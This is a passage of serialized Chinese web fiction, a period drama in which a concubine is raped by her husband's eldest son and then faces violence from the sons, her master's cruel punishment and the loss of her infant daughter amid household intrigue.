他方一离开,林昭明就爬上了床,像只护食的狼崽一般,隔着被子紧紧抱住徐可心,眼眶酸胀,没有征兆地哭了起来,“你说不喜欢我,嫌弃我是有妇之夫,然后你和他好!我算什么?” “你不能这么对我!” 徐可心面色苍白,额头沁着薄汗,她缓缓抬着眉眼,不顾身下的脏污,转动眼珠看向不远处刚刚侵犯了自己的林怀瑾,复又看向抱着自己哭得稀里哗啦的男人。 徐可心紧抿着唇,面色虚弱难堪,话语却极为直白,“他侵犯了我。” 林昭明顶着满是泪水的脸看她,闻言慌乱抬手,捧住她的脸,“你说什么?” 徐可心紧咬着牙,复又一字一句道,“我说他侵犯我。” 话音刚落,屋内霎时陷入死寂,林昭明眸色怔愣地看着她,可只过了片刻,他就面色紧绷,俯身紧紧抱住她,埋首在她颈侧咬牙道,“无事,我这就杀了他。” 话落,林昭明倏地起身,扯着床帘挡住她的视线,攥着腰间刀柄抽出佩刀。 林怀瑾背靠书架,没有半分慌乱之色,只平静地看着他,“昭明要弑兄不成?” “欺辱弟妻,你算哪门子兄长?”林昭明攥着手中佩刀,直直看着他,眼底没有情绪,好似在看死人一般。 “姨娘是父亲的妾室,亦是为兄的庶母,如何算作弟妻?” 林怀瑾不紧不慢取下安置在书架上的长剑,剑锋直指林昭明。 他拿弑兄责问林昭明,却又取剑指向林昭明,丝毫没有顾及兄弟情义的意思。 “死到临头话这么多。”林昭明未再多言,直接挥刀朝着林怀瑾的脖颈砍了下来,刀锋凌厉,好似要一刀砍断他的头。 林怀瑾微微皱眉,侧身举剑格挡,刀落在书架,咔嚓一声,书架霎时碎裂,上面的书和摆件一起落在地上,噼里啪啦的,滚落到四周。 幕帘外打斗声不停,徐可心忍着身子的不适,起身掀开幕帘,却见他们兄弟二人各自举着刀剑,朝着彼此身上砍,林昭明挥刀不停,林怀瑾明显略逊一筹,连连后退格挡。 幕帘掀开的瞬间,林怀瑾先有所察觉,抬眼看了过来,四目对视,徐可心面色紧绷,难言的恶心溢上心头,她捂着心口,不受控地俯身干呕。 分明女人的身上还残留他的痕迹,却仍未动情,看见他就心生恶心,只一瞬间,林怀瑾晃了神。 忽得腹部传来刺痛,他垂下眉眼,却见刀插进他的腹部,血液霎时顺着伤口溢出,浸染外衣。 林昭明还想再捅一刀,将他彻底杀死,忽得听到女人的干呕声,他面色慌乱,扔下刀快步向徐可心跑去,俯身将她抱在怀里,格外小心地抚着她的脸,压着喉咙里的哽咽,“别怕我在这里,他不会再伤害你了。” 他的手掌紧紧攥着徐可心的肩膀,有力的手臂压着她的后背,紧紧抱着她,好似要将她融进身子里一般。 徐可心靠在他怀里,枕着他的胸膛,疲惫地阖上眼皮,手臂脱力地滑下。 林昭明紧紧抱着她,低头轻吻她的头发,脱下外衣穿在她身上,待将人裹得严严实实,他勾着徐可心的腿弯,抱着她向门外走去。 林怀瑾捂着伤口,失血过多,整个人面色苍白地倒在地上。 经过他时,林昭明冷眼俯视他,抬脚踩在他流着血的伤口上,用力碾压,林怀瑾霎时冷汗直冒,失血过多倒在地上。 书童早早听到房门破裂声,但没有公子的命令,他又不敢前去厢房,眼下见林二公子抱着一个人眼底满是戾气的离开书院,书童忙不迭跑去厢房,却见屋内一片狼藉,房门书架都被砍成碎木。 他环视四周,待看见晕倒在地的男人,面色慌乱忙不迭喊了一声夫子,忙不迭出门寻郎中。 徐姨娘白日离府,临入夜也未回府。 二姨娘看了眼暗沉的天色,复又看着面前的院落,未再久留,向落梅苑走去,还未等回院,路过正院时,远远看去却见里面乱成一团。 她只看了一眼,未多加停留,可刚回了院子,她就命人前去探查,到底发生何事。 “大少爷被人捅了一刀?”二姨娘面色微怔,看向一旁的丫鬟,“可知晓同谁起了争执” 丫鬟闻言微微摇头,忽得想到什么,她压着声音道,“姨娘,听雨阁那位临到现在还未回府,二少爷眼下也不在院中。” 二姨娘垂着眉眼,想起白日她在听雨阁外面等待时,恰巧撞见二少爷前去寻徐可心。 眼下已至深夜,两人未归,大少爷被中伤,直到现在也不知晓他同谁起了争执。 二姨娘沉默半晌,轻轻摩挲茶杯,看向一旁的丫鬟,在她耳边低语几句。 丫鬟领了命令,微微颔首,退了出去。 今夜素来死寂的林府灯火通明,正院乱成一团,其他院中的丫鬟却都盯着听雨阁,轻声议论。 “徐姨娘眼下还未回府,是不是……同人私会了。”小厮压着声音,趁乱轻声道。 “话不能乱讲,若是传到大人耳中,你不要脑袋了?”另一人忙不迭告诫。 “大家都这么说,又不单我一个人。”小厮本来还畏惧几分,闻言不满道。 “况且那位过去是教坊司的官妓,想必本性难易,耐不住寂寞,同情郎私会也不一定。” 不远处,钱管家小心翼翼看着身旁的男人,眼见小厮越说越放肆,他连忙上前用力扯过小厮的衣领,直接一巴掌打在他脸上,“主子也是你们能议论的?” 小厮被打得一脸懵,他方要说什么,待看见站在不远处的男人,霎时面色惨白,忙不迭跪在地上,声音颤抖地唤了一声大人。 还未等男人说什么,难言的腥臊味就从小厮的裤间散发出来,钱管家抬眸看去,面色难看,却见这人直接被吓尿了。 同他议论的小厮看到男人,也忙不迭跪在地上,浑身颤抖不停。 钱管家小心抬眸,看向不远处的男人,却见男人站在那里良久无言,过了半晌,男人只留下一句处理了,抬步离开。 话音刚落,小厮霎时瘫坐在地。 钱管家看着男人的背影,复又看了眼坐在地上的小厮,深深叹了口气,挥手传来侍卫。 只希望徐姨娘能安然无恙回府,不然今后这府上怕是没有太平日子了…… 第94章 城郊宅院。 入了深夜,天光大暗,不见白昼。 汤池内,女人赤着身子浸泡在水中,用拭巾反复擦拭身上的吻痕,直到白皙的皮肤变得涨红,她也未收 力,没过多久,浑身上下好似褪了一层皮一般,艳红莹润,透着丝丝血线。 饶是如此,不堪的青红吻痕依旧伏在她的身体上,像是吸血的蚂蟥,趴在她身上,不断汲取她最后的理智,反反复复折磨她的心绪。 皮肤被用力擦拭到几乎一碰就抽痛,但吻痕未消,女人依旧未停下。 吻痕好似耻辱的印章一般,打在她的身上,无声告诉她,她被侵犯了,被一个她不爱的男人,她如今恨到极致的男人。 留在她体内的东西也早就被她彻底挖干净,她不会留下这人的东西,也不会给这人和她永远纠缠不清的机会。 不知过了多久,直到累到双臂酸胀,身上的吻痕依旧未退下时,女人紧抿着唇,站在镜前看着自己赤裸难堪的身体,身体忽得失力,瘫坐在地,捂脸痛哭起来。 她不怕失身,也不怕被侵犯,毕竟错的人不是她,侵犯她的人才是罪魁祸首。 真正让她痛苦的是,她不知道怎么再面对自己的爱人,也不知道如何面对自己的女儿。 被侵犯的人是她,可深深的背叛压在她的心上,同世俗的道德交织在一起,压得她几乎抬不起腰。 几乎在她哭得一瞬间,屏风后传来响动,一直守在外面的男人慌乱走进,见她瘫坐在地,快步上前将她抱了起来,按着她的脖颈将她整个人紧紧揽在怀里抱紧。 男人勾着她的腿弯,小心翼翼地将她抱到床上,为她穿上衣服,复又揽着她的身子,为她擦干头发。 徐可心垂着眉眼,看着自己手臂上的吻痕,整个人好似失了魂一般,怔愣地坐在床边。 不知过了多久,压抑的哽咽声从身后传来,徐可心眸色微怔,终于有了反应,转身看向坐在她身后的男人,却见林昭明手拿拭巾,不知何时,眼底早就浸满泪水。 他平日里多么骄傲坚强的一个人,打落牙齿和血吞,今日却为了她掉了两次泪。 四目对视,徐可心沉默良久,抬手抚上他的脸,用指腹轻轻擦拭他脸上的泪水,轻声道,“怎么哭了?” 林昭明面色紧绷,用手背擦掉眼底的泪水,“我没哭,只是眼睛很疼。” 不单是眼睛,心也疼,疼到近乎撕裂。 徐可心看着他,无声看了半晌,未再说什么。 她眼下也很累,提不起心神,甚至不愿讲话,想不通如何面对大人,索性就不再去想,只阖上眼睛,沉沉睡一觉,睡醒了,说不定会发觉,只是噩梦一场,什么都未发生。 林昭明坐在一旁,见她眼底露出倦意,忙不迭起身,扶着她的肩膀将她轻轻放在床上,又扯过被子,严严实实地盖住她的身子,最后坐在床前,紧紧握着她垂在床边的手,保证道,“我坐在这里不会离开,你只安心睡着。” 男人的声音很轻很小,好似怕吓到她一般。 徐可心半阖眼皮,看了他半晌,缓缓阖上眼皮。 只一闭上眼睛,白日的情景就浮现在面前。 你在意我父亲,不会让他知晓此事…… 分明被侵犯的人是她,却因这句话,让她只能紧闭着嘴,不能控告,将此事压在心里。 徐可心睡得并不安稳,眉头不自觉微微蹙起,她正陷于死胡同难以脱身时,一只手忽得覆在她的脸上,缓慢有力地按揉她的眉心,抚平她眉眼间的愁容。 半梦半醒间,她听见男人说,会为她杀了林怀瑾,只要林怀瑾死了,就无人知晓此事,她还是清清白白的首辅妾室,而林怀瑾会带着他的罪孽下黄泉…… 男人声音哽咽,却决绝有力。 只要侵犯的人死了,她就能免去折磨。 徐可心未听清之后的话,只觉得思绪困顿,好似有什么东西压在她身上一般,让她难以清醒,哪怕醒来了,也很快心生困意,疲惫得阖上眼睛,复又沉沉睡去。 反复清醒反复入睡。 不知是真得疲惫,还是不愿面对,她睡了很久。 再醒来时,已是白日。 徐可心怔愣地看着空无一人的室内,缓缓起身。 林昭明不见了踪影,不知去了哪里。 一个丫鬟守在一旁,见她醒来了,上前服侍她,为她梳妆,复又端来膳食,一切平静地好似只是一个寻常的白日,只要无人提起,昨日就什么都未发生过一般。 可皮肤上的吻痕无声昭示着她被侵犯的事实,让她不得不面对,若她一直逃避,哪怕身上的吻痕消失了,心上的吻痕也依旧存在。 徐可心坐在梳妆台前,坐了足足半个时辰,决定回府,将此事告知大人。 她的确很疼,疼到只要一回想起昨日的事,就心脏抽痛不停,可她不是懦夫,也不愿隐瞒什么,独自一人无声吞下这苦楚。 徐可心抬眼,看着镜中的自己,忽得无比庆幸她做过官妓,于旁人而言早就没有清白可言,她也不必受制于世俗枷锁。 若她还是官家小姐时,被人侵犯后,好似只有死路一条,父亲碍于徐家颜面,会和她断绝关系,亲自命人将她打死。 这是她及笄那年,父亲亲口对她讲的话。 而如今父亲死了,也没有贞节牌坊压在她身上,她又如何会选择沉默…… 她不敢面对大人,也不知晓他会作何反应,但她不想对大人有所隐瞒。 复又坐了半晌,徐可心站起身想要回府,丫鬟见状,忙不迭走上前,眸色担忧地看着她,伸手比划什么。 徐可心这才发现,这人不会讲话,是个哑巴。 只有哑巴才不会讲话…… 知晓她是林昭明特意安排的下人,徐可心轻声道,“若你家公子回来,只告诉他我回府了。” 丫鬟复又比划半晌,见她去意已决,跟在她身后,为她寻了车夫过来。 离开前,徐可心看了眼身后布局用心别致的宅院,终究上了马车。 她一夜未归,刚下了马车,远远看去,却见大夫人院中的小桃站在府外,焦急地走来走去。 一见到她,小桃眸色一怔,忙不迭跑上前。 “姨娘你终于回来了!” 小桃如释重负地松了一口气,攥着她的手臂就向府内走去。 “不知姑娘为何等我?”她问。 小桃面色急切,闻言慌乱道,“姨娘,昨日大少爷被人捅了一刀,失血过多昏倒过去,虽未伤到要害,可醒来后……” 小桃话语一顿,看了她一眼,无奈道,“未等伤口痊愈,就跑到了书房见大人,说要承下大人过去的什么命令,收下姨娘,娶姨娘为妻。” 徐可心紧抿着唇,霎时停下脚步。 她分明记得昨日林怀瑾说,不会让夫人知晓昨日之事,还拿大人威胁她,眼下所做之事又是为何…… 见她停下脚步,小桃霎时面色焦急,忙不迭道,“姨娘,不单大少爷发了疯,白日二少爷回府后,手提长刀寻找大少爷的身影,口中还说着要杀了他的混账话。” “夫人被气得昏倒过去,方醒来未多久,眼下他们二人都在书房,大人虽未说什么,可依大人的性情,二位少爷想必免不了一番皮肉之苦。” “奴婢身份卑微,实在不知求谁相助,才斗胆前去府外等姨娘回府。” “还请姨娘为两位少爷同大人求情。” 小桃慌乱说完,直接跪在地上,仰头恳求地攥着她的衣摆,“夫人素来在意两位少爷,若他们二人一齐被大人责罚,奴婢恐夫人会心疾发作。” 她眸色诚恳,眼底没有虚情假意。 徐可心垂着眉眼,看着她紧攥自己的手,沉默良久后,微微颔首。 这人求她为旁人说情,却不知晓,她如今也自身难保,但一切的事端都是因她而起,她也没有回避的道理。 见她答应,小桃只跪在地上,不顾石阶上的脏污,向她磕头,郑重道,“奴婢今后会记下姨娘的这份恩情。” 徐可心垂眸看着她,良久后看向不远处的书房,垂在身侧的手紧攥着袖子,纸包不住火,总要面对那人。 书房。 正院众人都在此处,林怀瑾弯着身子,捂着腹部的 伤口,面色苍白地跪在地上,时不时轻咳一声。 林昭明被两个侍卫压着,跪在他身侧,虽身受束缚,但脊背挺得笔直,眼底没有半分戾气,也没有往日的浮躁,只透着狠绝。 若非被人压着,好似会随时提刀杀了身旁之人。 大夫人坐在一旁,面上满是声嘶力竭后的疲惫,整个人脱力地倚着椅背,手托着头,垂着眉眼,不愿再看地上的二人一眼。 三人无一例外狼狈至极,都像被人折断了骨头一般,再也难以挺起。 主位之上,男人背靠椅背,手搭在扶手上,缓慢地捻动一串念珠,他的半边身子隐在阴影之下,整个人陷在黑暗之中,让人难以窥探他的神情。 他素来漫不经心,做任何事都极为随意,一副不近人情的无情模样,可今日,他却未同往日那般分心处理公务,只是坐在那里,好似等待什么。 书房内死寂如坟,安静无声。 直到门外传来一阵很轻的脚步声,跪在地上的两人才倏地有了反应,转头看了过去。 男人坐在主位,捻动念珠的手指也骤然一顿。 房门被推开,女人身着一件素青衣裳,长发被一根细玉簪子轻轻挽起,她缓步走了进来,平日里温润的面庞今日格外苍白,不似往日那般明媚,好似又变回了刚入府时的模样。 徐可心推门走进时,却见跪在地上的两人,一齐看向她。 她紧抿着唇,掠过二人直白的目光,抬眸看向坐在主位,在目光触及男人的瞬间,心跳得极为快。 第95章 她站在书房门前,对上男人的目光,向后退了一步,后背抵着房门,垂着眉眼,未同往日那般直视他。 哪怕已经走到男人面前了,还是不知怎么面对他。 男人坐在那里,也未同往日那般唤她过去。 复又过了片刻,徐可心才挪动脚步,迎着几人的目光,走到林昭明身侧,轻声行礼后,唤了一声大人,屈膝跪在他身旁。 林昭明跪在她身侧,见到她后眼底的狠绝霎时退去,只小心翼翼地看着她,不顾其他几人的目光,低声道,“你来做什么?” 若在过去,这人的话里一定透着质问,可眼下这人的语气格外轻,只小声同她讲话,好似想要责问她为何不安生呆在宅院里,但话一出口,却带着难以掩饰的顾虑。 徐可心跪在地上,闻言微微摇头。 除了林昭明的那句问话,书房内仍极为安静,并未因她的到来而不再沉寂。 小桃方才说,林怀瑾想娶她为妻,可林怀瑾刚侵犯她,竟还要折辱她,和她继续纠缠…… 徐可心紧攥衣袖,胸膛微微起伏,分明来之前已经决定要告诉大人实情,可话到嘴边,却难以开口。 她正犹豫不决时,低咳声从一旁传来,清晰地传进众人耳中。 自她进门后一直沉默未言的男人,握着手中的白帕,俯身低咳几声后,抬着眉眼,越过林昭明看向她。 林昭明先有所察觉,直接挡住他的目光,将徐可心护在身后,眼底满是戾气地看他。 林怀瑾面色不变,只淡淡收回目光,抬头看向坐在主位的男人,膝行三步,行至众人面前,俯身叩首,迎着众人的目光,语气虚弱却极为坚定道,“徐姨娘徐氏方入府时,父亲曾意图将姨娘赐给怀瑾,怀瑾那日一时糊涂,未认清自己的心意,推脱了父亲的好意。” “可在之后数月相处中,怀瑾却发觉,自己早已对姨娘情根深种,碍于姨娘怀有身孕,一直隐忍不发,想到不日之后就是青姝的百岁宴,怀瑾才斗胆同父亲提及此事……” 他跪在地上,一字一句陈述,跪在一旁的林昭明闻言面色难看至极,不等他说完,直接挣脱侍卫的手,上前一拳重重打在他的脸上,“娶她?你还真讲得出口!” 他站起身,抬腿就要踹在林怀瑾的心口上,被侍卫及时扯开,复又按压在地上。 没有林昭明跪在他们之间,两人可以直接看到对方。 林怀瑾本就挨了一刀,眼下又被打了一拳,半边身子倒在地上,面色苍白至极,饶是如此,他眼底的情绪极为平静,只抬手轻轻抚着自己被打的侧脸,缓声道,“我爱慕徐姨娘,自然想要娶她为妻,如何不能讲出口?总好过某些轻诺寡信的懦夫,将人哄骗又跑去徐府退婚。” 他回应林昭明方才的话,目光却一直落在徐可心身上,直直看着她一字一句道。 林怀瑾话语不留情,只一句话就让林昭明急得几乎快要跳起来,厉声道,“我是懦夫,的确负了她,可比你这个畜生好过千倍万倍!娶她的人也轮不到你。” 被当众骂了,林怀瑾也未恼火,只眼也不抬道,“为兄至今尚未婚娶,也无婚约在身,如何不能娶姨娘为妻?” 他面色平静,不似林昭明那般暴跳如雷,可说出的每句话都扎在林昭明的痛处,惹得林昭明额头青筋直跳,垂在身侧的手紧攥成拳。 眼见她刚安分未多久的两个儿子,复又因一个妾室公然吵起来,大夫人面色紧绷,强压下心上的怒气,看向紧攥着拳的林昭明,厉声道,“对长兄拳脚相向,成何体统!” “我不仅对他拳脚相向,我还要杀了他!”林昭明死死盯着林怀瑾,毫不犹豫道。 大夫人闻言,险些一口气未提上来,指着跪在地上的林昭明,深呼吸几次,嘴唇颤抖,却未再说出一句话。 书房内乱成一团,眼见二人愈发混账,一直坐在主位的男人轻揉念珠,按着佛头摩挲数下,语气没有起伏道,“过来。” 只轻飘飘两个字,在场几人都没了声音。 他未明说是谁,徐可心却身子一僵,良久后缓缓起身,不受控地挪着步子走上前。 男人背靠檀木椅子,也未抬眸看她,直到她走至身侧,才眼也不抬道,“昨夜宿在何处,为何一夜未归。” 他的语气极为冷淡,不似往日那般柔和,带着审问的意味。 徐可心垂着眉眼,盯着男人手中的念珠,没有立刻回答。 她不开口,男人也未催她,指腹抚着念珠上的细纹,缓慢有力地摩挲,一颗一颗从指腹碾过,转动的缓急同她的心跳一般无二。 好似男人捻动的并非念珠,而是她的心脏。 她的整颗心落在男人身上,说是被他牢牢攥在手中也不为过。 徐可心沉默半晌,才缓缓屈膝,低垂着头,主动跪在男人身侧。 “妾身有一事想告之大人,想求大人为妾身做主。” 她进来时,虽面色苍白,但尚且还算平静,可眼下刚靠近男人,只一开口,喉咙里就不可自抑地传出哽咽,整个人神色憔悴,好似霜打的茄子,再说几句就要哭出来。 男人捻动念珠的手指一顿,终于垂眸,看向跪在身侧的女人,勾着念珠的手指抚上她的下颌,些许强硬地抬起她的脸,却见女人脸色惨白,眼眶格外红肿,明显哭了许久。 只离府一夜,就变得这般憔悴。 徐可心跪在男人身侧,仰着脸,眸中的委屈几乎快要溢出来。 “受了委屈?”他问。 过去男人问她这句话时,她总是顾及很多,鲜少有同他控诉告状的恨意,可眼下,男 人只一开口,她就眼尾垂泪,声音哽咽却直白道,“大人,昨夜妾身之所以未回府,只因……” 徐可心话语一顿,迎着男人俯视的目光,咬牙道,“只因大少爷欺辱妾身,于府外强占了妾身的身子,妾身不堪受辱,不知如何前来见大人,才彻夜未归。” 话音刚落,书房霎时安静无声,落针可闻。 男人抚着她下颌的手,也在陡然间攥紧她的脖颈,眉头紧皱,直直看着她。 颈间霎时传来痛意,徐可心却未露出难受之色,反而因将此事说出口,紧绷的心弦骤然一松。 未等男人说什么,尖锐的呵斥声在房内骤然响起,“你这女人满嘴谎话,分明是在污蔑怀瑾!” 徐可心闻言,深呼一口气,抬眸看向不远处怒不可遏的大夫人,冷声道,“我如何会冒着触犯法令的罪责,有意拿自己的清白污蔑大少爷?若非他玷污我,我又怎会控告于他。” 大夫人紧攥着袖子,抬手指着她,急声道,“书院的门童分明说,是你这浪□□前去书院寻怀瑾在先,我看你是勾引不成,复又冤枉怀瑾!” 徐可心面色紧绷,压着心上的恶心,逐字逐句道,“我并未冤枉他,何况大少爷方才说要娶我为妻,我若真想勾引他,只会求大人准了这门婚事,又怎会提及昨日之事,拿我的清白污蔑他?” “还狡辩!”大夫人气急。 “你说为未想勾引怀瑾,那我问你,你昨日又因何前去玉灵书院寻他!”大夫人扶着桌案,眼底喷火似的看她。 未想过夫人会责问她前去玉灵书院的缘由,徐可心紧抿着唇,小心地看向身侧的男人,却见不知何时,男人的眼底早就寒冷如冰,看她的目光没有一丝暖意。 男人何时这般看过她,只一瞬间,徐可心就慌了神,彻底失了分寸。 她膝行半步,下意识攥紧男人的衣摆,慌乱道,“大人,妾身前去玉灵书院并非为了勾引大少爷,而是为了查明当年一事。” “妾身实在想知晓当年之事的真相,却又走投无路,只能相求长公子,想要让他帮妾身查明当年一事。” “可妾身未看出这人心中的邪念,才被他欺辱,妾身真得未想要勾引他。” 徐可心跪在地上,话语不停地慌乱解释,只把一切全都告诉了对方,生怕说得晚了,让男人误以为她真得同林怀瑾有染。 可等她说完,方才还面色恼怒的大夫人骤然没了声音,僵着身子站在那里,看向她的目光也变得极为复杂,不仅没有半分怒气,反而透着几分惧意。 大夫人面色紧绷,下意识看向坐在主位的男人。 男人坐在徐可心面前,在听完她的解释后,眼底的寒意缓慢退去,取而代之的却并非暖意,而是没有一丝情意的漠然。 本来抚着她下颌的手,也下移几分,彻底攥住她的脖颈,长指不断收紧,好似要掐断她的脖颈一般。 呼吸被逐渐掠夺,徐可心本就苍白的脸颊,眼下更是没有一丝血色,她抬眸看着男人,却见他垂着眉眼,语气没有起伏道,“为了几个死人,而失了身子,还真是蠢笨。” 男人的话语太过冰冷,眼底也没有一丝情绪,徐可心眸色怔愣,只一瞬间就瘫坐在地。 第96章 徐可心跪在地上,头发凌乱地贴着她的脸颊,闻言浑身颤抖不停。 过了良久,她才找回自己的声音,嗓音哽咽却极为坚定道,“他们是妾身的家人,是养育妾身的双亲,父母身死,妾身身为家中长女,并非狼心狗肺之人,又怎会彻底放下。” 她的确恨父亲的专制无情,可父亲只是对她严加管教,从未在衣食住行亏待她,给了她首辅长千金的地位和尊容。 她怨父亲恨父亲,但不会背叛父亲,背叛徐家。 的确是她蠢笨,错信他人以致失身,祸端已成,她认。 复宗灭祀,血债血偿,只要她活着,这把刀就一直横在她心间,除非她死,否则她不会放弃寻找告密之人。 男人坐在高位,居高临下地俯视她,眼底没有情绪。 徐可心跪在地上,第一次强烈地感受到男人的冷漠无情,可她仰视男人,眸色未同往日那般露出胆怯。 因果相报,她背负仇恨,只会往前走,不会停步。 她的脊背挺得笔直,面色也极为倔强,四目对视,男人无声俯视她,良久后抬手,打在她的脸上。 念珠连同手掌,重重落在她的脸上,只一瞬间,耳目轰鸣,细玉簪子落地,碎成两半。 她狼狈地倒在地上,长发披散,遮住她半边惨白的脸颊,只余下泛红的侧颜。 徐可心垂着眉眼,只扶着被打的侧脸,眸色平和,眼底的慌乱逐渐消散。 若大人因她犯蠢失了贞洁,她无话可说,可若因她为了徐家前去寻林怀瑾,哪怕再来一次,她也会去找林怀瑾。 大人对徐家之事避而不谈,林昭明方入朝为官,于昨日的她而言,无人比林怀瑾更适合帮她调查李家。 清晰的巴掌声在书房内响起,几乎瞬间,在场几人都面色凝重,林昭明直接抬眸,厉声道,“父亲!分明是林怀瑾欺辱她,你不责罚惩戒林怀瑾,为何要打她!” 林怀瑾看着跪在地上面容苍白的女人,也微微皱眉,忍着腹部的痛意,看向坐在前面的男人,“父亲,昨日之事的确是怀瑾之错,怀瑾心生歹念,强占了姨娘,怀瑾甘愿受罚,还请父亲勿要再怪罪姨娘。” 两个儿子都为他的妾室求情,且都真情实意,没有半分作假,他们年轻昳丽,比他的妾室还要年轻几岁,喜欢是真的,爱也是真的,而他年老色衰,再过几年就彻底变老,也终究有退位失权那日。 更好的机会已经摆在女人面前,她大可以成全他的两个儿子,择一人成婚,不必委身于他,单单做个地位低下的妾室。 可她的情人太看重私情,既忘不掉恩仇,决然一人想要为双亲复仇,又付诸真情,只依赖他一人,完完全全信任他,被侵犯后想的不是隐瞒,而是将此事告知他。 林远舟背靠座椅,缓慢捻动念珠。 他素来不信神仙佛祖,但为了压制心中暴虐,也学得几句心经,一念一转,心绪流转。 自女人入府后,他就彻底舍弃了此物,今日复又拿了出来,却发觉,只将心经从头至尾念诵一遍,也难以抚平心绪。 复又缓慢捻动数下,男人抬手,将缠绕在手中的念珠扔在文书上,看向跪坐在地面容倔强的情人,淡声道,“既然怀瑾提起,为父也没有食言的道理。” 话音刚落,徐可心骤然抬头,不可置信地看着男人,却见他眸色淡漠,不紧不慢道,“你只问她,可愿嫁你为妻,若她答应,今日为父就命人筹备你们二人的婚事。” 徐可心跪在地上,直直盯着男人随意的面色,难堪和恼怒一直涌上心头,她紧攥着袖子,不等林怀瑾开口,直接道,“妾身不愿嫁给长公子为妻,妾身只想做大人的妾室,从生至死,一直陪在大人身侧。” 她面色紧绷,就差说出“做鬼也要纠缠他”的话。 男人垂着眉眼,闻言无声看着她。 徐可心面色紧绷,扶着桌案直起身子,目光不偏不倚地回视男人,一字一句道,“何况妾身如今已为大人养育一女,又被大人写入族谱,于情于理,都不应另嫁大少爷。” 她目光赤诚,透着决绝,男人垂眸俯视她半晌,抬手抚上她被打的侧脸,没有丝毫动容极为无情道,“可心既牵挂女儿,明日之后,只将青姝送到正院,由夫人照顾。” 话音刚落,徐可心身子霎时一僵,只愣神片刻,就忙不迭膝行上前,慌乱攥紧他的衣服,“大人!青姝是妾身的女儿,尚未百日如何能离开母亲!” 林远舟说完,却未再理会她,只看向一旁的小厮,命他前去听雨阁带走长小姐,将其送至正院。 小厮领了命令,向门外走去,徐可心见状,仰头 忙不迭恳求道,“大人,青姝还小,真得不能离开妾身……” 她话语不停,却未求来男人的半分目光,房门被关上,看着男人冷漠的侧颜,徐可心怔愣地跪在地上。 她想不明白,为何被侵犯的人是她,而大人不仅未为她讨回公道,还要将她推给侵犯她的人,甚至将她的女儿从她身边带走。 徐可心跪在地上,头忽得格外沉,攥紧男人衣裳的手也渐渐松开,她只觉大脑一片空白,不受控地昏倒在地…… 待几人离开,书房只余下大夫人。 她站在原地,看着坐在那里面容冷漠的男人,忽得也发觉,根本猜不透他到底在想什么。 大夫人之前一直认为那女人于他而言是特殊的,可一涉及到林家,她才发觉,徐可心对他来说也不过如此。 相较于一个不安分宠妾,这人更在乎他林家。 男人这般绝情,若在过去,她应该厌恶男人的冷漠,可眼下见那女人也被他舍弃,难言的喜悦却在她心头隐秘地生起。 这人果然只在乎他林家,在乎他的权势,他不爱任何人,所谓的纵容喜欢也不过是一时兴起…… 大夫人看着男人久违的不近人情的模样,想起方才那女人绝望的神色,忽觉格外痛快。 复又想起她方才寻找长子的缘由,大夫人心上的喜悦又退去几分。 这人不管不顾想要调查当年一事,她却不能眼睁睁看着她的长子同徐可心继续纠缠下去,不然待那人年底回来知晓二人成婚,恐会和怀瑾生了嫌隙。 思及此,大夫人抬眸看了眼正处理公务的男人,转身离开。 落梅苑。 二姨娘守在院中,早就听到了书房的动静,有心探查,但碍于大人也在,难以知晓其中到底发生何事。 听说徐姨娘昏倒被人抬出来时,二姨娘轻抚茶杯,不紧不慢摩挲。 大人命兄长杀了三姨娘,徐可心那日却带人将人带走了。 三姨娘素来对徐可心冷嘲热讽,若非二人之间有什么不为人知的勾当,依那人事不关己的性子,想必不会前去青楼救下三姨娘。 二姨娘轻叩茶杯,正细细思索二人的过往时,丫鬟推门走进,轻声道,“姨娘,大夫人来了。” 二姨娘指尖一顿,抬眸看向门外,“大夫人?” 想起方才下人传话说,徐姨娘昏过去被人送回听雨阁,二姨娘只思索片刻,隐隐猜到这人因何前来。 恐怕和徐姨娘有关…… 门外脚步声响起,女人抬步走进,只命丫鬟退出去,冷眼看着她。 二姨娘扶着桌案起身,同她行了个虚礼,端起茶壶为她倒了一杯茶,“夫人鲜少前来妾身院中,妾身未有准备,白日只泡了一壶陈年旧茶,都是一些无人要的碎渣子,还请夫人勿怪。” 大夫人冷冷看着她,没有同她周旋的意思,直白道,“徐可心正寻人调查当年一事,如今她是大人的妾室,若大人受了她的蛊惑,帮她报仇,你李家还有退路吗?” 话落,二姨娘倒茶的动作一顿,茶水顺着壶嘴落下,浸满茶杯,清脆悦耳,倒茶之人却无暇顾及,只等茶水溢出茶杯,她也未收手…… 第97章 凉茶顺着指缝流下,良久后,二姨娘才堪堪回神,轻声说了一句失礼了,放下茶壶,命丫鬟擦拭桌案。 她本还不明白徐可心为何会和三姨娘聚在一起,眼下想来,想必是给了三姨娘什么好处,差遣那女人帮她调查她李家。 二姨娘端起溢满的茶杯放在大夫人面前,眼也不抬道,“妾身愚钝,不明白夫人话里的意思。” 见她装糊涂,大夫人看着她,也没有和她打太极的兴致,直接表态,“此人断不可留下。” 茶杯落在桌案上,发出很轻的一声闷响。 二姨娘沉默半晌,收起脸上的从容,只平声问,“不知夫人可否如实相告,府上这两日究竟发生何事?” 若徐小姐安心做她的宠妾,无人会理会她,可她偏偏不安分,总惦念过去的事不放,让人卧枕难眠。 书房外。 徐可心醒来后,跑去寻女儿的身影,却只见乳母担忧地站在房中,不见青姝。 顾不得旁的事情,知晓大人尚未离府,她复又跑回书院,跪在书房门前。 这一跪,就是一整夜。 她的身子早就酸胀不堪,但惦念着女儿,想同男人求情,她又不愿离开。 自女儿出生后,她一直小心谨慎地照顾着,生怕女儿出了什么闪失,只把青姝放在心尖上,捧着怕摔了含着怕化了。 男人分明知晓女儿对她而言有多重要,却还是将女儿从她身边带走,甚至送到了大夫人院中。 徐可心垂着脑袋,顾不得还未用晚膳,只屈着双膝,盯着地面出神。 她从未想过没有女儿的日子,光是想想,她就心脏抽痛,而眼下女儿被人带走,彻底和她分开,徐可心只觉胸口沉闷不堪,双腿也如有千金重。 若女儿有事,她也不活了。 徐可心低垂着头,整个人狼狈至极,几乎快要晕倒在地上。 侍卫们看守在门前,不似她刚进府那会儿,一直劝她离开,这次他们只看着她,任由她跪在那里,未言一语。 过去他们不认为谁能惹得大人的动容,可徐姨娘接二连三被大人准许进书房后,他们又说不准了。 俗话说烈女怕缠郎,这烈男也抵不过缠女的执着啊。 大人这般不近人情之人,说不定就真得需要一个缠女死死追着,跟在他身后,任由他推了几次,也依旧爱慕他。 侍卫们在心中暗暗想着,瞥了一眼面色苍白的女人,轻轻叹了口气。 整整一夜过去,临到快天亮,书房内才传来脚步声,房门被推开,男人未看跪在门前的徐可心一眼,抬步向书院走去。 “大人!” 